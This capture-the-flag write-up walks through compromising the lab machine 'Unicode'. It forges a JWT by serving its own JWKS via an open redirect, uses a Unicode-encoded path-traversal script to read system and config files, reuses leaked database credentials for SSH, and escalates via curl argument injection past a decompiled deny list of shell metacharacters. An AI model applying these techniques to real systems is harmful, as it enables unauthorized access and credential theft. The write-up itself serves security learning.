We will start with a quick scan:

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-28 12:59 EET
Nmap scan report for
Host is up (0.091s latency).
Not shown: 98 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds

We get some dirs if we scan with gobuster:

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://unicode.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          9294
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/11/28 13:05:24 Starting gobuster in directory enumeration mode
/login                (Status: 308) [Size: 256] [--> http://unicode.htb/login/]
/register             (Status: 308) [Size: 262] [--> http://unicode.htb/register/]
/upload               (Status: 308) [Size: 258] [--> http://unicode.htb/upload/]
/redirect             (Status: 308) [Size: 262] [--> http://unicode.htb/redirect/]
/display              (Status: 308) [Size: 260] [--> http://unicode.htb/display/]
/pricing              (Status: 308) [Size: 260] [--> http://unicode.htb/pricing/]
/logout               (Status: 308) [Size: 258] [--> http://unicode.htb/logout/]
/checkout             (Status: 308) [Size: 262] [--> http://unicode.htb/checkout/]
/error                (Status: 308) [Size: 256] [--> http://unicode.htb/error/]
/dashboard            (Status: 308) [Size: 264] [--> http://unicode.htb/dashboard/]
/internal             (Status: 308) [Size: 262] [--> http://unicode.htb/internal/]
/debug                (Status: 308) [Size: 256] [--> http://unicode.htb/debug/]

If we try to access /display we get an unauth error.

We see a Google about us button in the main page. This is a redirection like: http://unicode.htb/redirect/?url=google.com It is working like a redirection, so we cannot access to /display with this: http://unicode.htb/redirect/?url=unicode.htb/display

The pages are genereated with Hugo, but powered by Flask framework.

Getting the foothold

The login state is stored as a JWT signed with public-private key pair. If we decode the JWT in jwt.io, we can see there is a jku attribute pointing to http://hackmedia.htb/static/jwks.json.

The “jku” (JWK Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature).

If we add that domain to /etc/hosts, we can visit the page and see the following content:

    "keys": [
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"

We will generate a new RSA key pair with the following commands:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out private.key

Once this is done, we can get the n and e keys for our own jku:

from Crypto.PublicKey import RSA

fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())

print("n:", hex(key.n))
print("e:", hex(key.e))

We can download the jku found in hackmedia.htb and update the n and e fields with the ones from the script.

Now we can serve our own jku with some http server, like:

python -m http.server 8080

After that, we update the jku field in jwt.io with our own (

We get the following error:

jku validation failed

But we are not receiving any request to our HTTP server. This might be caused by a domain restriction or something, but we can try with the redirect in the main page. http://hackmedia.htb/redirect/?url= And it fails again. I ended up trying the following and I got the request: http://hackmedia.htb/static/../redirect?url=

But no luck accessing the dashboard, we are redirected to the login. It looks like the encoding of the original jwks.json is not hex as the script I got from the blog post.

RFC 7518: JSON Web Algorithms (JWA)

The “n” (modulus) parameter contains the modulus value for the RSA public key. It is represented as a Base64urlUInt-encoded value.

If we google a bit more, we can find a python library for doing that task:

Get the big-endian byte sequence of integer in Python
Based on this post: How to return RSA key in jwks_uri endpoint for OpenID Connect Discovery I need to base64url-encode the octet value of this two numbers: n =
After changing the script to this:

import jwkest
from Crypto.PublicKey import RSA

fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())

print("n:", jwkest.long_to_base64(key.n))
print("e:", jwkest.long_to_base64(key.e))

I could craft a JWT with username admin and login to the admin dashboard. If we look at the Saved reports section, the urls look like the following: http://hackmedia.htb/display/?page=monthly.pdf

This remind me an LFI. If we try to inject /etc/passwd, we get a 404. As the name of the machine suggets, we can try to use unicode to bypass it.

I wrote a script to test all the possible unicode representation for chars / and .:

import requests

def send_payload(payload, encoder) -> bool:
    encoded_payload = encoder(payload)
    res = requests.get(f"http://hackmedia.htb/display/?page={encoded_payload}", cookies={
        "auth": "<JWT>",
    return not res.text.startswith("<html")

# We will try to get some unicode chars that are valid for ./monthly.pdf
# First for /
# https://www.compart.com/en/unicode/U+002F
for r in ["\u2100", "\u2101", "\u2105", "\u2106", "\uFF0F", "\u002F"]:
    payload = "./monthly.pdf"
    worked = send_payload(payload, lambda s: s.replace('/', r))
    if worked:
        print('/ =>', r.encode('raw_unicode_escape'))

We can see the unicode equivalent codes using this page:

U+002F is the unicode hex value of the character Solidus. Char U+002F, Encodings, HTML Entitys:&#47;,&#x2F;,&sol;, UTF-8 (hex), UTF-16 (hex), UTF-32 (hex)
After this, I updated the script to use the two unicode codes found to encode the payload:

def to_unicode_str(s):
    return s.replace('/', '\uff0f').replace('.', '\u2024')

And try to reach /etc/passwd to prove if we can do the LFI.

for i in range(1, 15):

Indeed, we got /etc/passwd going back 4 folders.

sending payload: ../../../../etc/passwd
encoded: ․․/․․/․․/․․/etc/passwd

We can see the two users with login rights (root and code), and also www-data and backup, which seems interesting.

Getting the user flag

We can try to list files, such as the config for nginx at /etc/nginx/nginx.conf.

After a lot of time looking for files, I got a hit with ../wsgi.py as it is a common configuration when using Flask + Nginx.

from coder import app
from werkzeug.debug import DebuggedApplication
if __name__ == "__main__":


I could have simply looked for /etc/nginx/sites-enabled/default which gave a straightforward way to find the sources.

#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
        listen 80;
        location / {
                proxy_pass http://localhost:8000;
                include /etc/nginx/proxy_params;
                proxy_redirect off;
        location /static/{
                alias /home/code/coder/static/styles/;

So we can now get the code of the app by reading ../coder.py.

app.config['MYSQL_HOST']= db['mysql_host']

So we will try the db.yaml, and get some credentials of user code.

mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Login with the credentials we got.

ssh coder@hackmedia.htb
Password: B3stC0d3r2021@@!

And we are in! We can get the user flag now if you haven’t done it with the LFI.

Privilege escalation

If we list the executables we can sudo without password:

code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

We find a treport executable which is owned by root.

If we try to find the source:

find / -name '*treport*' 2>/dev/null

we don’t get any result:


And it is a binary file, not a script. If we strings it, it looks like a python compiled file. We can download it using scp.

To decompile it, we can try with this two repositories:

GitHub - extremecoders-re/pyinstxtractor: PyInstaller Extractor
PyInstaller Extractor. Contribute to extremecoders-re/pyinstxtractor development by creating an account on GitHub.
GitHub - rocky/python-decompile3: Python decompiler for 3.7-3.8 Stripped down from uncompyle6 so we can refactor and start to fix up some long-standing problems
Python decompiler for 3.7-3.8 Stripped down from uncompyle6 so we can refactor and start to fix up some long-standing problems - rocky/python-decompile3

Make sure you are extracting with python 3.8 as the libraries of the binary were using this version. decompile3 wont work if you are not using the same version as the binary.

After so much trying, I managed to decompile it.

def download(self):
    now = datetime.now()
    current_time = now.strftime('%H_%M_%S')
    command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
    ip = input('Enter the IP/file_name:')
    res = bool(re.search('\\s', ip))
    if res:
        print('INVALID IP')
    if 'file' in ip or ('gopher' in ip or 'mysql' in ip):
        print('INVALID URL')
    for vars in command_injection_list:
        if vars in ip:
            print('NOT ALLOWED')
        cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'

There seems to be a vulnerable call which simply concatenates the ip, which is a user input; but there are many characters excluded.

After some time trying out escapes and different techniques, I gave up trying to bypass the command_injection_list. I simply read the args of curl and saw a --next which is kind of weird.

–next Make next URL use its separate set of options

This means if we insert the next arg, the second part of the curl won’t be executed for the first URL (the only one that exists). With this in mind, and applying some escapes mentioned before, we can end up with an expression like this:


The techniques applied are the following:

  • file is split in two to bypass the INVALID URL restriction using the escape of a common letter (which results in the letter).
  • {a,b} syntax allows us to separate two command parts without using spaces.

With this we have some way to read files with root privileges. We can simply get the root flag with:


Or the ssh key (although it is not working):